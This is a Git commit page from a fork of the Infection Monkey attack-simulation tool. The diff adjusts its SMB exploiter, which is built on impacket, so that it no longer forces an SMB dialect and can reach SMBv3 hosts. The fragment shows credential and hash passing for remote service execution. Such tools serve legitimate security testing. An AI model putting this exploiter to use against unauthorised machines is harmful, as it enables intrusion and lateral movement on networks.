p17860254
/
monkey
forked from p15670423/monkey
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

SMB bugfixed to be able to exploit machine with smb v3, by not specifying preferred dialect for rpctransport

This commit is contained in:
VakarisZ 2020-12-04 15:44:40 +02:00
parent 5ba1bf1db8
commit 04e89411fb
1 changed files with 2 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
monkey/infection_monkey/exploit/smbexec.py
View File

@ -1,7 +1,6 @@
from logging import getLogger from logging import getLogger
from impacket.dcerpc.v5 import scmr, transport from impacket.dcerpc.v5 import scmr, transport
from impacket.smbconnection import SMB_DIALECT
from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.attack_utils import ScanStatus, UsageEnum
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
@ -121,8 +120,7 @@ class SmbExploiter(HostExploiter):
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port) rpctransport.set_dport(port)
if hasattr(rpctransport, 'preferred_dialect'): rpctransport.setRemoteHost(self.host.ip_addr)
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'): if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences. # This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None) rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None)
@ -168,7 +166,7 @@ class SmbExploiter(HostExploiter):
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
return True return True
def set_vulnerable_port(self, host: VictimHost): def set_vulnerable_port(self):
if 'tcp-445' in self.host.services: if 'tcp-445' in self.host.services:
self.vulnerable_port = "445" self.vulnerable_port = "445"
elif 'tcp-139' in self.host.services: elif 'tcp-139' in self.host.services: